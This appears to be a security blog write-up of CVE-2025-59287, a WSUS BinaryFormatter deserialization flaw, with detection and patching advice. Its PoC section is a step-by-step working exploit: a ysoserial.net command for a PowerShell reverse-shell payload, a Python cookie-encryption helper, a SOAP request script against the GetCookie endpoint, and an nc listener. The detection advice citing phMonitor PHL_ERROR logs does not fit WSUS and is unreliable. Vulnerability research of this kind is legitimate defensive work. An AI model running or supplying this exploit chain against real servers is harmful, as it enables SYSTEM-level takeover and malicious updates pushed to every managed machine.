Overview

CVE-2025-59287 is a critical unauthenticated Remote Code Execution vulnerability in Windows Server Update Services (WSUS). Disclosed via an out-of-band Microsoft security update on October 23rd, 2025, it carries a CVSS score of 9.8 and has a public PoC available.

Successful exploitation allows a remote, unauthenticated attacker to execute arbitrary code with SYSTEM privileges on the WSUS server — and from there, push malicious updates to every managed endpoint in the organisation.

Why This is Particularly Dangerous

WSUS is the update distribution backbone of most enterprise Windows environments. A compromised WSUS server gives an attacker:

  • Code execution on the WSUS host itself as SYSTEM
  • The ability to distribute malicious “updates” to all managed Windows machines
  • A trusted pivot point deep inside the network perimeter

This isn’t just RCE on one box — it’s a potential domain-wide compromise vector.

Affected Versions

Product Affected
Windows Server 2025 Yes
Windows Server 2022 Yes
Windows Server 2019 Yes
Windows Server 2016 Yes

All versions running the WSUS Server Role prior to the October 23rd OOB patch are vulnerable.

Root Cause — Unsafe BinaryFormatter Deserialization

The vulnerability lives in the GetCookie() endpoint of the WSUS web service. Specifically in EncryptionHelper.DecryptData(), which processes an AuthorizationCookie value from incoming SOAP requests.

The function decrypts the cookie and passes the result directly to BinaryFormatter.Deserialize() — a notoriously dangerous .NET method that executes code embedded in serialized objects.

1
2
3
4
5
6
7
// Vulnerable code (simplified)
public static object DecryptData(string encryptedData)
{
    byte[] decrypted = Decrypt(encryptedData); // attacker controls this
    BinaryFormatter formatter = new BinaryFormatter();
    return formatter.Deserialize(new MemoryStream(decrypted)); // RCE here
}

Because the attacker controls the encrypted cookie, and the decryption key can be extracted from WSUS binaries, an attacker can craft a malicious serialized object that executes arbitrary commands when deserialized.

Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Attacker
  │
  ├─► 1. Extract encryption key from WSUS binaries
  │
  ├─► 2. Generate malicious BinaryFormatter payload
  │       using ysoserial.net (ObjectDataProvider gadget)
  │
  ├─► 3. Encrypt payload using extracted key
  │
  └─► 4. Send crafted SOAP request to GetCookie() endpoint
              │
              ▼
        WSUS Server decrypts cookie
              │
              ▼
        BinaryFormatter.Deserialize() executes payload
              │
              ▼
        RCE as SYSTEM ✓

PoC Walkthrough

Lab setup only. This walkthrough is for educational purposes against a controlled lab environment. Never run this against systems you don’t own or have explicit written authorisation to test.

Prerequisites

  • Python 3.x
  • .NET Framework (for payload generation)
  • ysoserial.net
  • Network access to WSUS ports 8530 (HTTP) or 8531 (HTTPS)

Step 1 — Extract the Encryption Key

The WSUS encryption key is embedded in Microsoft.UpdateServices.WebServices.dll. Extract it with:

1
2
strings Microsoft.UpdateServices.WebServices.dll | grep -i "key"
strings Microsoft.UpdateServices.WebServices.dll | grep -i "encrypt"

Store the extracted key for use in step 3.

Step 2 — Generate the Malicious Payload

Using ysoserial.net, generate a payload using the ObjectDataProvider gadget chain. This chains Process.Start() through the deserializer to execute our command:

1
2
3
4
5
# Generate payload to execute a reverse shell
ysoserial.exe -f BinaryFormatter \
  -g ObjectDataProvider \
  -o base64 \
  -c "powershell -e <base64_encoded_reverse_shell>"

This produces a base64-encoded binary payload that, when deserialized, will execute your command as SYSTEM.

Step 3 — Encrypt the Payload

The payload must be encrypted using the WSUS key before sending. A helper script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_wsus_cookie(payload_b64: str, key: bytes) -> str:
    payload = base64.b64decode(payload_b64)
    cipher = AES.new(key, AES.MODE_CBC)
    encrypted = cipher.encrypt(pad(payload, AES.block_size))
    result = cipher.iv + encrypted
    return base64.b64encode(result).decode()

# Replace with actual extracted key
key = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

with open("payload.b64") as f:
    payload_b64 = f.read().strip()

encrypted_cookie = encrypt_wsus_cookie(payload_b64, key)
print(f"[+] Encrypted cookie: {encrypted_cookie}")

Step 4 — Send the SOAP Request

With the encrypted cookie ready, deliver it to the GetCookie() endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

target = "http://10.10.10.1:8530"
encrypted_cookie = "<output_from_step_3>"

soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution">
      <authCookie>{encrypted_cookie}</authCookie>
    </GetCookie>
  </soap:Body>
</soap:Envelope>"""

headers = {
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction": "http://www.microsoft.com/SoftwareDistribution/GetCookie"
}

response = requests.post(
    f"{target}/SimpleAuthWebService/SimpleAuth.asmx",
    data=soap_body,
    headers=headers,
    timeout=10
)

print(f"[*] Status: {response.status_code}")
print(f"[*] Response: {response.text[:200]}")

A successful exploit will trigger your payload on the WSUS server. Set up a listener before sending:

1
nc -lvnp 4444

Detection

Defenders can check logs for suspicious messages received by phMonitor: look for PHL_ERROR entries containing attacker-supplied URLs and file paths.

Additionally, monitor for:

1
2
3
4
5
6
# Processes spawned by WSUS worker processes that shouldn't be
w3wp.exe -> powershell.exe
w3wp.exe -> cmd.exe -> net.exe

# Unexpected outbound connections from IIS worker processes
# Unusual SOAP requests to SimpleAuth.asmx with large cookie values

A SIEM rule looking for oversized authCookie values in WSUS SOAP requests would catch exploitation attempts.

Remediation

Apply the Microsoft out-of-band patch released October 23rd, 2025 immediately.

If patching is not immediately possible, restrict network access to WSUS ports:

1
2
3
4
5
6
7
# Block inbound access to WSUS ports from untrusted networks
New-NetFirewallRule -DisplayName "Block WSUS External" `
  -Direction Inbound `
  -LocalPort 8530,8531 `
  -Protocol TCP `
  -RemoteAddress Internet `
  -Action Block

WSUS should never be exposed to the internet — access should be restricted to internal management networks only.

Takeaways

CVE-2025-59287 is a textbook example of why BinaryFormatter has been deprecated by Microsoft since .NET 5. It’s a known-dangerous API that has produced critical vulnerabilities across the Windows ecosystem for years, yet it persisted in WSUS.

The blast radius here is uniquely severe — a WSUS server is by design trusted by every managed endpoint in the environment. Compromising it doesn’t just give you one box, it gives you a signed, trusted delivery mechanism to every Windows machine in the domain.

If you’re running WSUS in your environment, patch it, segment it, and audit who has access to ports 8530/8531.

References